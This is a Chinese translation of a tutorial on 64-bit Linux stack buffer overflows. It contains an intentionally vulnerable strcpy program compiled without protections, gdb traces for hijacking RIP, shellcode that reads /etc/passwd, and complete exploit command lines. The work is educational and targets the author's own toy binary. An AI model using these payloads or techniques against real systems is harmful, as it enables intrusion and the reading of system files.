from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf
本文的目的是讓大家學到64位緩沖區溢出的基礎知識。 作者Mr.Un1k0d3r?RingZer0?Team
摘要
0x01?x86和x86_64的區別
0x02?漏洞代碼片段
0x03?觸發溢出
0x04?控制RIP
0x05?跳入用戶控制的緩沖區
0x06?執行shellcode
0x07?GDB?vs?現實
0x08?結語
第一個主要區別就是內存地址的大小。這沒啥可驚奇的:?不過即便內存地址有64位長用戶空間也只能使用前47位要牢記這點因為當你指定一個大于0x00007fffffffffff的地址時會拋出一個異常。那也就意味著0x4141414141414141會拋出異常而0x0000414141414141是安全的。當你在進行模糊測試或編寫利用程序的時候我覺得這是個很巧妙的部分。
事實上還有很多其他的不同但是考慮到本文的目的不了解所有的差異也沒關系。
#!cpp
int main(int argc, char **argv) {
char buffer[256];
if(argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
為了節省漏洞利用的時間我決定打印緩沖區指針地址。
你可以用gcc編譯上述代碼。
#!bash
$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector
這樣就一切妥當了。
首先我們來確認一下確實可以讓這個進程崩潰。
#!cpp
$ ./bof $(python -c 'print "A" * 300')
0x7fffffffdcd0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
好來確認一下我們控制的RIP指令指針
你可以通過stepi單步執行來過一遍程序流程譯者應該用ni比較合適。 當過了strcpy調用(0x40066c)之后你會發現當前緩沖區指針指向0x7fffffffdc90而不是0x7fffffffdcd0這是gdb的環境變量和其他東西造成的。不過現在我們不關心之后會解決的。 重要的說明* 在之后的內容中當我提到leave指令時就是指的上面的地址0x400685。 最后這是strcpy過后的棧
#!bash
(gdb)?x/20xg?$rsp
0x7fffffffdc80:?0x00007fffffffde78?0x00000002f7ffe520
0x7fffffffdc90:?0x4141414141414141?0x4141414141414141
0x7fffffffdca0:?0x4141414141414141?0x4141414141414141
0x7fffffffdcb0:?0x4141414141414141?0x4141414141414141
0x7fffffffdcc0:?0x4141414141414141?0x4141414141414141
0x7fffffffdcd0:?0x4141414141414141?0x4141414141414141
0x7fffffffdce0:?0x4141414141414141?0x4141414141414141
0x7fffffffdcf0:?0x4141414141414141?0x4141414141414141
0x7fffffffdd00:?0x4141414141414141?0x4141414141414141
0x7fffffffdd10:?0x4141414141414141?0x4141414141414141
接著主函數(main)中的leave指令把rsp指向0x7fffffffdd98。 棧就變成了這樣子
#!bash
(gdb)?x/20xg?$rsp
0x7fffffffdd98:?0x4141414141414141?0x4141414141414141
0x7fffffffdda8:?0x4141414141414141?0x4141414141414141
0x7fffffffddb8:?0x0000000041414141?0x0000000000000000
0x7fffffffddc8:?0xa1c4af9213d095db?0x0000000000400520
0x7fffffffddd8:?0x00007fffffffde70?0x0000000000000000
0x7fffffffdde8:?0x0000000000000000?0x5e3b506da89095db
0x7fffffffddf8:?0x5e3b40d4af2a95db?0x0000000000000000
0x7fffffffde08:?0x0000000000000000?0x0000000000000000
0x7fffffffde18:?0x0000000000400690?0x00007fffffffde78
0x7fffffffde28:?0x0000000000000002?0x0000000000000000
(gdb)?stepi
Program?received?signal?SIGSEGV,?Segmentation?fault.
好極了我們有SIGSEGV的時機去查看當前寄存器的值。
#!bash
(gdb)?i?r
rax? 0x0? 0
rbx? 0x0? 0
rcx? 0xffffffffffffffff??-1?
rdx? 0x7ffff7dd59e0?140737351866848
rsi? 0x7ffff7ff7000?140737354100736
rdi? 0x1? 1
rbp? 0x4141414141414141?0x4141414141414141
rsp?? 0x7fffffffdd98??0x7fffffffdd98
r8? 0x4141414141414141?4702111234474983745
r9? 0x4141414141414141?4702111234474983745
r10? 0x4141414141414141?4702111234474983745
r11? 0x246?582
r12? 0x400520?4195616
r13? 0x7fffffffde70?140737488346736
r14? 0x0? 0
r15?? 0x0? 0
rip? 0x400686?0x400686?<main+121>
eflags? 0x10246? [?PF?ZF?IF?RF?]
cs? 0x33? 51
ss? 0x2b? 43
ds? 0x0? 0
es? 0x0? 0
fs? 0x0? 0
gs? 0x0? 0
(gdb)?stepi
Program?terminated?with?signal?SIGSEGV,?Segmentation?fault.
The?program?no?longer?exists.
好了程序就這樣結束了我們沒能控制RIP為什么因為我們覆蓋了太多位記得最大的地址是0x00007fffffffffff吧而我們嘗試用0x4141414141414141去溢出了。
我們發現了個小問題不過只要是問題總有辦法解決的我們可以用個小一點的緩沖區去溢出這樣指向rsp的地址就會像0x0000414141414141一樣了。 通過簡單的數學運算就可以很輕松地算出我們緩沖區的大小。我們知道緩沖區開始于0x7fffffffdc90。Leave指令之后rsp將指向0x7fffffffdd98。
0x7fffffffdd98?-?0x7fffffffdc90?=?0x108?->?十進制的264
知道了這些我們可以把溢出載荷修改成這樣
"A"?*?264?+?"B"?*?6
rsp指向的地址應該像0x0000424242424242一樣正常了。那樣就能控制RIP。
#!bash
$?gdb?-tui?bof
(gdb)?set?disassembly-flavor?intel
(gdb)?layout?asm
(gdb)?layout?regs
(gdb)?break?main
(gdb)?run?$(python?-c?'print?"A"?*?264?+?"B"?*?6')
這次我們直接看調用leave指令后的狀況。 這是leave指令執行后的棧
#!bash
(gdb)?x/20xg?$rsp
0x7fffffffddb8:?0x0000424242424242?0x0000000000000000
0x7fffffffddc8:?0x00007fffffffde98?0x0000000200000000
0x7fffffffddd8:?0x000000000040060d?0x0000000000000000
0x7fffffffdde8:?0x2a283aca5f708a47?0x0000000000400520
0x7fffffffddf8:?0x00007fffffffde90?0x0000000000000000
0x7fffffffde08:?0x0000000000000000?0xd5d7c535e4f08a47
0x7fffffffde18:?0xd5d7d58ce38a8a47?0x0000000000000000
0x7fffffffde28:?0x0000000000000000?0x0000000000000000
0x7fffffffde38:?0x0000000000400690?0x00007fffffffde98
0x7fffffffde48:?0x0000000000000002?0x0000000000000000
這是leave指令執行后寄存器的值
#!bash
(gdb)?i?r
rax? 0x0? 0
rbx? 0x0? 0
rcx? 0xffffffffffffffff??-1
rdx??? 0x7ffff7dd59e0?140737351866848
rsi? 0x7ffff7ff7000?140737354100736
rdi? 0x1? 1
rbp? 0x4141414141414141?0x4141414141414141
rsp?? 0x7fffffffddb8??0x7fffffffddb8
r8? 0x4141414141414141?4702111234474983745
r9? 0x4141414141414141?4702111234474983745
r10? 0x4141414141414141?4702111234474983745
r11? 0x246?r12?0x400520?4195616
r13? 0x7fffffffde90?140737488346768
r14???? 0x0? 0
r15? 0x0? 0
rip? 0x400686?0x400686?<main+121>?
eflags? 0x246?[?PF?ZF?IF?]
cs? 0x33? 51
ss? 0x2b? 43
ds? 0x0? 0
es? 0x0? 0
fs? 0x0???? 0
gs? 0x0? 0
rsp指向0x7fffffffddb8而0x7fffffffddb8的內容就是0x0000424242424242。看來一切正常是時候執行ret指令了。
#!bash
(gdb)?stepi
Cannot?access?memory?at?address?0x424242424242
Cannot?access?memory?at?address?0x424242424242
(gdb)?i?r
rax? 0x0? 0
rbx? 0x0? 0
rcx? 0xffffffffffffffff??-1
rdx? 0x7ffff7dd59e0?140737351866848
rsi? 0x7ffff7ff7000?140737354100736
rdi? 0x1? 1
rbp? 0x4141414141414141???0x4141414141414141
rsp?? 0x7fffffffddc0??0x7fffffffddc0
r8? 0x4141414141414141?4702111234474983745
r9? 0x4141414141414141?4702111234474983745
r10? 0x4141414141414141?4702111234474983745
r11???? 0x246? 582
r12? 0x400520?4195616
r13? 0x7fffffffde90?140737488346768
r14? 0x0? 0
r15? 0x0? 0
rip?? 0x424242424242??0x424242424242
eflags? 0x246?[?PF?ZF?IF?]
cs? 0x33????51
ss? 0x2b? 43
ds? 0x0? 0
es? 0x0? 0
fs? 0x0? 0
gs? 0x0? 0
我們最終控制了rip
事實上這部分內容沒什么特別的或者新的東西你只需要指向你控制的緩沖區開頭。也就是第一個printf顯示出來的值在這里是0x7fffffffdc90。通過gdb也可以很容易地重新獲得這個值你只需在調用strcpy之后顯示棧。
#!bash
(gdb)?x/4xg?$rsp
0x7fffffffdc80:?0x00007fffffffde98?0x00000002f7ffe520
0x7fffffffdc90:?0x4141414141414141?0x4141414141414141
是時候更新我們的載荷了。新的載荷看起來像這樣
"A"?*?264?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]
因為是小端結構所以我們需要把內存地址反序。這就是python語句[::-1]所實現的。
確認下我們跳入正確的地址。
#!bash
$?gdb?-tui?bof
(gdb)?set?disassembly-flavor?intel
(gdb)?layout?asm
(gdb)?layout?regs
(gdb)?break?main
(gdb)?run?$(python?-c?'print?"A"?*?264?+?
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
(gdb)?x/20xg?$rsp
0x7fffffffddb8:?0x00007fffffffdc90??0x0000000000000000
0x7fffffffddc8:?0x00007fffffffde98?0x0000000200000000
0x7fffffffddd8:?0x000000000040060d?0x0000000000000000
0x7fffffffdde8:?0xe72f39cd325155ac?0x0000000000400520
0x7fffffffddf8:?0x00007fffffffde90?0x0000000000000000
0x7fffffffde08:?0x0000000000000000?0x18d0c63289d155ac
0x7fffffffde18:?0x18d0d68b8eab55ac?0x0000000000000000
0x7fffffffde28:?0x0000000000000000?0x0000000000000000
0x7fffffffde38:?0x0000000000400690?0x00007fffffffde98
0x7fffffffde48:?0x0000000000000002?0x0000000000000000
這是執行leave指令后的棧。如我們所知rsp指向0x7fffffffddb8。0x7fffffffddb8的內容是0x00007fffffffdc90。最后0x00007fffffffdc90指向我們控制的緩沖區。
(gdb)?stepi
ret指令執行后rip指向0x7fffffffdc90這意味著我們跳入了正確的位置。
在這個例子中我準備用個定制的shellcode去讀/etc/passwd的內容。
#!bash
BITS?64
;?Author?Mr.Un1k0d3r?-?RingZer0?Team
;?Read?/etc/passwd?Linux?x86_64?Shellcode
;?Shellcode?size?82?bytes
global?_start
section?.text
_start:
jmp?_push_filename
_readfile:
;?syscall?open?file
pop?rdi???;?pop?path?value
;?NULL?byte?fix
xor?byte?[rdi?+?11],?0x41
xor?rax,?rax
add?al,?2
xor?rsi,?rsi??;?set?O_RDONLY?flag
syscall
;?syscall?read?file
sub?sp,?0xfff
lea?rsi,?[rsp]
mov?rdi,?rax
xor?rdx,?rdx
mov?dx,?0xfff???;?size?to?read
xor?rax,?rax
syscall
;?syscall?write?to?stdout
xor?rdi,?rdi
add?dil,?1?;?set?stdout?fd?=?1
mov?rdx,?rax
xor?rax,?rax
add?al,?1
syscall
;?syscall?exit
xor?rax,?rax
add?al,?60
syscall
_push_filename:
call?_readfile
path:?db?"/etc/passwdA"
接下來匯編這個文件然后提取shellcode。
#!bash
$?nasm?-f?elf64?readfile.asm?-o?readfile.o
$?for?i?in?$(objdump??-d?readfile.o?|?grep?"^?"?|?cut??-f2);?do?echo??-n? '\x'$i;?done;?echo
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6
6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x
0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\
xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f
\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
這個shellcode長82字節。來構造最終的載荷吧。
原來的載荷
#!bash
$(python?-c?'print?"A"?*?264?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]')
我們要保證一樣的大小所以264?-?82?=?182
#!bash
$(python?-c?'print?"A"?*?182?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]')
然后把shellcode接在開頭
#!bash
$(python?-c?'print?
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+?
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
來把所有東西一塊兒測試
#!bash
$?gdb?–tui?bof
(gdb)?run?$(python?-c?'print?
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+?
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
如果一切正常你就會看到/etc/passwd的內容。要注意內存地址是可以變化的這樣可能就和我這里的不同了。
因為gdb會初始化一些變量和其他的東西所以如果你試著在gdb之外使用同樣的利用腳本就會失敗。不過在這個例子中我加了個對printf的調用來輸出緩沖區指針。這樣我們就可以很容易地找到正確的值并且在真實的環境中獲得地址。
這是使用我們在gdb中找到的值的真實版本
#!bash
$?./bof?$(python?-c?'print?"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+?
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
0x7fffffffdcf0
?_w
[email protected]<
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA?
Illegal?instruction?(core?dumped)
很顯然利用不成功。因為地址已經從0x7fffffffdc90變成了0x7fffffffdcf0。幸好有這點printf的輸出我們只需用正確的值調整一下載荷。
#!bash
$?./bof?$(python?-c?'print?"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+?
"\x7f\xff\xff\xff\xdc\xf0"[::-1]')
0x7fffffffdcf0
?_w
[email protected]<
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA?
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
換成正確的值之后利用一切正常。
希望你們能喜歡這篇關于Linux下x86_64緩沖區溢出的文章,有很多關于x86溢出的文章了,但64位的溢出比較少見。
祝你們拿到好多好多shell!
感謝